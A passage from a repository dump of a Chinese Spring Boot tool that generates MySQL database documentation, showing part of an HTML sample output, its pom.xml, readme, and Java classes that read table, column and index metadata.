table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-21\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_user_token</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:系统用户Token</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>token</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>token</td>\n\t\t\t\t\t\t<td>UNI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>expire_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>过期时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>update_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>更新时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>token</td>\n\t\t\t\t\t\t<td>token</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-22\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:tb_user</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:用户</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>用户名</td>\n\t\t\t\t\t\t<td>UNI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>mobile</td>\n\t\t\t\t\t\t<td>varchar(20)</td>\n\t\t\t\t\t\t<td>手机号</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>password</td>\n\t\t\t\t\t\t<td>varchar(64)</td>\n\t\t\t\t\t\t<td>密码</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t\n\n\t\t<script type=\"text/javascript\">\n\t\t\t\n\t\t\t\n\t\t\tfunction toTable(id){\n\t\t\t\t$(\".db-table\").hide();\n\t\t\t\t$(\".db-index\").hide();\n\t\t\t\t$(\"#db-table-\"+id).show();\n\t\t\t\ttoTop();\n\t\t\t}\n\t\t\t\n\t\t\tfunction toIndex(){\n\t\t\t\t$(\".db-table\").hide();\n\t\t\t\t$(\".db-index\").show();\n\t\t\t\ttoTop();\n\t\t\t}\n\t\t\t\n\t\t\tfunction toTop(){\n\t\t\t\tlocation.href = \"#top\";\n\t\t\t}\n\t\t\t\n\t\t</script>\n\n\t</body>\n\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_db_document/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_db_document</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<description>数据库文档生成工具</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.0.3.RELEASE</version>\n\t\t<relativePath /> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t\t<mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n\t\t<mybatisplus.version>2.1.8</mybatisplus.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-jdbc</artifactId>\n\t\t</dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.freemarker</groupId>\n\t\t\t<artifactId>freemarker</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-configuration-processor</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.4</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi</artifactId>\n\t\t\t<version>3.17</version>\n\t\t</dependency>\n\n\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/readme.md",
    "content": "数据库文档生成工具\n====\n    简单配置，就能够生成数据库文档。欢迎大家提意见\n\n使用方法  \n----\n    1.修改application.properties的数据库配置信息  \n    2.修改application.properties中的属性 application.generator中的信息\n    3.运行Application.java  \n    4.生成文件的格式类似2018-03-07_05-45-453.xls\n\n使用的框架  \n----\n    1.spring boot  \n    2.spring jdbc  \n    3.freemaker  \n\n支持的数据库 \n----\n    1.mysql  \n    \n支持生成的文档类型\n----\n\t1.word，不太好看，但是可以修改文档,v.15移除，不再支持\n\t2.excel，还算好看吧，可以修改文档\n\t3.html，最好看了，ヾ(◍°∇°◍)ﾉﾞ，但是不能修改\n\n如何扩展已支持更多数据库\n----\n    1.在pom.xml加入数据库驱动包\n    2.修改application.properties的数据库配置信息\n    3.创建一个新的类，继承cn.wuwenyao.db.doc.generator.dao.impl.AbstractDbInfoDao\n    4.在枚举类cn.wuwenyao.db.doc.generator.enums.DbType增加一个新的枚举\n    \n如何扩展已支持更多的生成文档类型\n----\n\t1.创建一个新的类，继承cn.wuwenyao.db.doc.generator.service.impl.AbstractGeneratorServiceImpl\n\t2.在枚举类cn.wuwenyao.db.doc.generator.enums.TargetFileType中增加一个新的枚举\n\t\n更新日志\n----\n\t1.v1.0,完成基本架构，支持生成word文档\n\t2.v1.1,优化架构，支持生成excel文档，比word文档好看点，笑\n\t3.v1.2，支持生成html文档\n\t4.v1.3,增加索引信息的生成\n\t5.v1.3.1 增加新的html模板，优化生成文档的速度\n\t6.v1.3.2 支持白名单和黑名单，优化excel模板\n\t\n效果图\n----\n ![Excel例子](https://gitee.com/shiqiyue/dbDocGenerator/raw/master/doc/excel.gif \"例子\")\n ![Html例子](https://gitee.com/shiqiyue/dbDocGenerator/raw/master/doc/html.gif \"例子\")\n ![Html例子](https://gitee.com/shiqiyue/dbDocGenerator/raw/master/doc/html-menu.gif \"例子\")\n样例下载\n----\n  1.[WORD样例](http://gitee.com/shiqiyue/dbDocGenerator/tree/master/doc/word-sample.doc)  \n  2.[EXCEL样例](http://gitee.com/shiqiyue/dbDocGenerator/tree/master/doc/excel-sample.xls)  \n  3.[HTML样例](http://gitee.com/shiqiyue/dbDocGenerator/tree/master/doc/html-sample.html)  \n "
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/Application.java",
    "content": "package cn.wuwenyao.db.doc.generator;\n\nimport cn.wuwenyao.db.doc.generator.service.GeneratorService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\n\nimport cn.wuwenyao.db.doc.generator.config.ApplicationConfig;\n\nimport static org.slf4j.LoggerFactory.getLogger;\n\n/***\n * 应用启动\n * \n * @author wwy\n *\n */\n@EnableConfigurationProperties({ ApplicationConfig.class })\n@SpringBootApplication\npublic class Application implements CommandLineRunner {\n\n\tprivate GeneratorService generatorService;\n\n\tprivate static final Logger logger = getLogger(Application.class);\n\n\tpublic Application(GeneratorService generatorService) {\n\t\tthis.generatorService = generatorService;\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class, args);\n\t}\n\n\t@Override\n\tpublic void run(String... args) throws Exception {\n\t\t// 生成doc\n\t\ttry {\n\t\t\tgeneratorService.generate();\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"生成数据库文档错误\", e);\n\t\t\treturn;\n\t\t}\n\t\tlogger.info(\"生成数据库文档成功\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/config/ApplicationConfig.java",
    "content": "package cn.wuwenyao.db.doc.generator.config;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.context.properties.NestedConfigurationProperty;\n\n/***\n * 应用配置信息\n * \n * @author wwy shiqiyue.github.com\n *\n */\n@ConfigurationProperties(prefix = \"application\")\npublic class ApplicationConfig {\n\t\n\t@NestedConfigurationProperty\n\tprivate GeneratorConfig generator = new GeneratorConfig();\n\t\n\tpublic GeneratorConfig getGenerator() {\n\t\treturn generator;\n\t}\n\t\n\tpublic void setGenerator(GeneratorConfig generator) {\n\t\tthis.generator = generator;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/config/GeneratorConfig.java",
    "content": "package cn.wuwenyao.db.doc.generator.config;\n\nimport cn.wuwenyao.db.doc.generator.enums.DbType;\nimport cn.wuwenyao.db.doc.generator.enums.TargetFileType;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/***\n * 生成器配置信息\n *\n * @author wwy shiqiyue.github.com\n *\n */\npublic class GeneratorConfig {\n\n    /***\n     * 数据库类型\n     */\n    private DbType dbtype = DbType.MYSQL;\n\n    /***\n     * 生成文件类型\n     */\n    private TargetFileType targetFileType = TargetFileType.WORD;\n\n    /***\n     * 生成文件目录\n     */\n    private String targetFileDir = \"\";\n\n    /***\n     * 模板文件地址\n     */\n    private String templateFilePath = \"\";\n\n    /***\n     * 黑名单，支持正则表达式\n     */\n    private List<String> blacklist = new ArrayList<>();\n\n    /***\n     * 白名单，支持正则表达式\n     */\n    private List<String> whitelist = new ArrayList<>();\n\n    public DbType getDbtype() {\n        return dbtype;\n    }\n\n    public void setDbtype(DbType dbtype) {\n        this.dbtype = dbtype;\n    }\n\n    public TargetFileType getTargetFileType() {\n        return targetFileType;\n    }\n\n    public void setTargetFileType(TargetFileType targetFileType) {\n        this.targetFileType = targetFileType;\n    }\n\n    public String getTargetFileDir() {\n        return targetFileDir;\n    }\n\n    public void setTargetFileDir(String targetFileDir) {\n        this.targetFileDir = targetFileDir;\n    }\n\n\n    public String getTemplateFilePath() {\n        return templateFilePath;\n    }\n\n    public void setTemplateFilePath(String templateFilePath) {\n        this.templateFilePath = templateFilePath;\n    }\n\n    public List<String> getBlacklist() {\n        return blacklist;\n    }\n\n    public void setBlacklist(List<String> blacklist) {\n        this.blacklist = blacklist;\n    }\n\n    public List<String> getWhitelist() {\n        return whitelist;\n    }\n\n    public void setWhitelist(List<String> whitelist) {\n        this.whitelist = whitelist;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/config/GeneratorConfiguration.java",
    "content": "package cn.wuwenyao.db.doc.generator.config;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport cn.wuwenyao.db.doc.generator.dao.DbInfoDao;\nimport cn.wuwenyao.db.doc.generator.service.GeneratorService;\n\n/***\n * 生成器配置\n * \n * @author wwy shiqiyue.github.com\n *\n */\n@Configuration\npublic class GeneratorConfiguration {\n\t\n\t@Autowired\n\tprivate ApplicationConfig applicationConfig;\n\t\n\t@Autowired\n\tprivate JdbcTemplate jdbcTemplate;\n\t\n\t@Bean\n\tpublic DbInfoDao dbInfoDao() throws InstantiationException, IllegalAccessException {\n\t\tDbInfoDao dbInfoDao = (DbInfoDao) applicationConfig.getGenerator().getDbtype().getDbInfoDaoImpl().newInstance();\n\t\tdbInfoDao.setJdbcTemplate(jdbcTemplate);\n\t\tdbInfoDao.setApplicationConfig(applicationConfig);\n\t\treturn dbInfoDao;\n\t}\n\t\n\t@Bean\n\tpublic GeneratorService generatorService(DbInfoDao dbInfoDao)\n\t\t\tthrows InstantiationException, IllegalAccessException {\n\t\tGeneratorService generatorService = (GeneratorService) applicationConfig.getGenerator().getTargetFileType()\n\t\t\t\t.getGeneratorServiceImpl().newInstance();\n\t\tgeneratorService.setDbInfoDao(dbInfoDao);\n\t\tgeneratorService.setGeneratorConfig(applicationConfig.getGenerator());\n\t\treturn generatorService;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/DbInfoDao.java",
    "content": "package cn.wuwenyao.db.doc.generator.dao;\n\nimport cn.wuwenyao.db.doc.generator.config.ApplicationConfig;\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport java.util.List;\n\n/***\n * 获取数据库信息的dao接口\n *\n * @author wwy\n *\n */\npublic interface DbInfoDao {\n\n    /****\n     * 获取数据库名称\n     *\n     * @return\n     */\n    public String databaseName();\n\n    /***\n     * 获取表的信息\n     *\n     * @return\n     */\n    public List<TableInfo> tableInfoList();\n\n    /***\n     * 设置jdbcTemplate\n     *\n     * @param jdbcTemplate\n     */\n    public void setJdbcTemplate(JdbcTemplate jdbcTemplate);\n\n    /***\n     * 设置配置信息\n     * @param applicationConfig\n     */\n    public void setApplicationConfig(ApplicationConfig applicationConfig);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/impl/PackageInfo.java",
    "content": "package cn.wuwenyao.db.doc.generator.dao.impl;\n\n/***\n *\n * @author wenyao.wu\n * @date 2019/1/30\n */\npublic class PackageInfo {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/impl/dbinfo/AbstractDbInfoDao.java",
    "content": "package cn.wuwenyao.db.doc.generator.dao.impl.dbinfo;\n\nimport cn.wuwenyao.db.doc.generator.config.ApplicationConfig;\nimport cn.wuwenyao.db.doc.generator.dao.DbInfoDao;\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport java.util.List;\n\n/***\n * 获取数据库信息的dao实现-抽象基类\n *\n * @author wwy shiqiyue.github.com\n *\n */\npublic abstract class AbstractDbInfoDao implements DbInfoDao {\n\n    protected JdbcTemplate jdbcTemplate;\n\n    protected ApplicationConfig applicationConfig;\n\n\n    /***\n     * 判断表是否可以生成\n     * @param tableName\n     * @return\n     */\n    protected boolean isTableGenerate(String tableName) {\n        if (matchWhiteList(tableName)) {\n            return true;\n        }\n        if (matchBlackList(tableName)) {\n            return false;\n        }\n        return true;\n    }\n\n    /***\n     * 是否匹配白名单\n     * @param tableName\n     * @return\n     */\n    private Boolean matchWhiteList(String tableName) {\n        List<String> whiteList = applicationConfig.getGenerator().getWhitelist();\n        if (CollectionUtils.isNotEmpty(whiteList)) {\n            for (String whiteItem : whiteList) {\n                if (tableName.matches(whiteItem)) {\n                    return true;\n                }\n            }\n        }\n        return false;\n    }\n\n    /***\n     * 是否匹配黑名单\n     * @param tableName\n     * @return\n     */\n    private Boolean matchBlackList(String tableName) {\n        List<String> blackList = applicationConfig.getGenerator().getBlacklist();\n        if (CollectionUtils.isEmpty(blackList)) {\n            return false;\n        }\n        for (String blackItem : blackList) {\n            if (tableName.matches(blackItem)) {\n                return true;\n            }\n        }\n\n        return false;\n    }\n\n\n    @Override\n    public String databaseName() {\n        return null;\n    }\n\n    @Override\n    public List<TableInfo> tableInfoList() {\n        return null;\n    }\n\n    @Override\n    public void setJdbcTemplate(JdbcTemplate jdbcTemplate) {\n        this.jdbcTemplate = jdbcTemplate;\n    }\n\n    @Override\n    public void setApplicationConfig(ApplicationConfig applicationConfig) {\n        this.applicationConfig = applicationConfig;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/impl/dbinfo/mysql/GetTableInfoTask.java",
    "content": "package cn.wuwenyao.db.doc.generator.dao.impl.dbinfo.mysql;\n\nimport cn.wuwenyao.db.doc.generator.entity.TableFieldInfo;\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport cn.wuwenyao.db.doc.generator.entity.TableKeyInfo;\nimport org.slf4j.Logger;\nimport org.springframework.jdbc.core.ColumnMapRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CountDownLatch;\n\nimport static org.slf4j.LoggerFactory.getLogger;\n\n/***\n * 任务-获取表信息\n * @author wenyao.wu\n * @date 2019/1/30\n */\npublic class GetTableInfoTask implements Runnable {\n\n    private static final Logger logger = getLogger(GetTableInfoTask.class);\n\n    private TableInfo tableInfo;\n\n    private CountDownLatch countDownLatch;\n\n    private JdbcTemplate jdbcTemplate;\n\n    public GetTableInfoTask(TableInfo tableInfo, CountDownLatch countDownLatch, JdbcTemplate jdbcTemplate) {\n        this.tableInfo = tableInfo;\n        this.countDownLatch = countDownLatch;\n        this.jdbcTemplate = jdbcTemplate;\n    }\n\n\n    @Override\n    public void run() {\n        try {\n            tableInfo.setFields(queryFields());\n            tableInfo.setKeys(queryKeys());\n            logger.info(\"表：{}信息查询完毕\", tableInfo.getTableName());\n        } catch (Exception e) {\n            logger.error(\"任务-获取表信息-异常\", e);\n        } finally {\n            countDownLatch.countDown();\n        }\n\n    }\n\n    /***\n     * 查询 fields\n     * @return\n     */\n    private List<TableFieldInfo> queryFields() {\n        Object[] params = new Object[]{tableInfo.getTableName()};\n        List<TableFieldInfo> fields = jdbcTemplate.query(\n                \"select COLUMN_NAME, COLUMN_COMMENT,COLUMN_DEFAULT,IS_NULLABLE,COLUMN_TYPE,COLUMN_KEY,EXTRA from information_schema.columns where table_schema =database() and table_name = ?\",\n                params, new TableFieldInfoRowMapper());\n        return fields;\n    }\n\n    /***\n     * 查询 索引\n     * @return\n     */\n    private List<TableKeyInfo> queryKeys() {\n        List<Map<String, Object>> rawKeyInfos = jdbcTemplate.query(\"show keys from \" + tableInfo.getTableName(),\n                new ColumnMapRowMapper());\n\n        Map<String, TableKeyInfo> keyMap = new HashMap<>(5);\n        for (Map<String, Object> rawKeyInfo : rawKeyInfos) {\n            TableKeyInfo tableKeyInfo = keyMap.get(rawKeyInfo.get(\"Key_name\").toString());\n            String columnName = rawKeyInfo.get(\"Column_name\").toString();\n            if (tableKeyInfo == null) {\n                tableKeyInfo = new TableKeyInfo();\n                ArrayList<String> columns = new ArrayList<>();\n                columns.add(columnName);\n                tableKeyInfo.setColumns(columns);\n                tableKeyInfo.setIndexComment(rawKeyInfo.get(\"Index_comment\").toString());\n                tableKeyInfo.setIndexType(rawKeyInfo.get(\"Index_type\").toString());\n                tableKeyInfo.setName(rawKeyInfo.get(\"Key_name\").toString());\n                tableKeyInfo.setUnique(\"0\".equals(rawKeyInfo.get(\"Non_unique\").toString()));\n            } else {\n                tableKeyInfo.getColumns().add(columnName);\n            }\n            keyMap.put(rawKeyInfo.get(\"Key_name\").toString(), tableKeyInfo);\n        }\n        //索引信息进行排序\n        List<TableKeyInfo> tableKeyInfoList = new ArrayList<>(keyMap.values());\n        tableKeyInfoList.sort(null);\n        return tableKeyInfoList;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/impl/dbinfo/mysql/MysqlDbInfoDao.java",
    "content": "package cn.wuwenyao.db.doc.generator.dao.impl.dbinfo.mysql;\n\nimport cn.wuwenyao.db.doc.generator.dao.impl.dbinfo.AbstractDbInfoDao;\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.slf4j.Logger;\n\nimport java.util.List;\nimport java.util.concurrent.*;\nimport java.util.stream.Collectors;\n\nimport static org.slf4j.LoggerFactory.getLogger;\n\n/***\n * 获取mysql数据库信息\n *\n * @author wwy\n *\n */\n\npublic final class MysqlDbInfoDao extends AbstractDbInfoDao {\n\n\n    private static final Logger logger = getLogger(MysqlDbInfoDao.class);\n\n    @Override\n    public String databaseName() {\n        String databaseName = jdbcTemplate.queryForObject(\"select database()\", String.class);\n        return databaseName;\n    }\n\n    private List<TableInfo> queryTableInfo() {\n        List<TableInfo> tableInfos = jdbcTemplate.query(\n                \"select table_name,table_comment from information_schema.tables where table_schema = database()\",\n                new TableInfoRowMapper());\n        return tableInfos;\n    }\n\n    @Override\n    public List<TableInfo> tableInfoList() {\n        //查询表信息\n        List<TableInfo> tableInfos = queryTableInfo();\n        if (CollectionUtils.isEmpty(tableInfos)) {\n            return tableInfos;\n        }\n        //过滤黑名单\n        tableInfos = tableInfos.stream().filter(tableInfo -> {\n            return isTableGenerate(tableInfo.getTableName());\n        }).collect(Collectors.toList());\n        //查询表-列信息\n        CountDownLatch countDownLatch = new CountDownLatch(tableInfos.size());\n        ExecutorService executor = new ThreadPoolExecutor(10, 10,\n                0L, TimeUnit.MILLISECONDS,\n                new LinkedBlockingQueue<Runnable>(tableInfos.size()));\n        tableInfos.stream().forEach((tableInfo) -> {\n            executor.execute(new GetTableInfoTask(tableInfo, countDownLatch, jdbcTemplate));\n        });\n        try {\n            countDownLatch.await();\n        } catch (InterruptedException e) {\n            logger.error(\"countDownLatch error\", e);\n        }\n        executor.shutdown();\n        return tableInfos;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/impl/dbinfo/mysql/TableFieldInfoRowMapper.java",
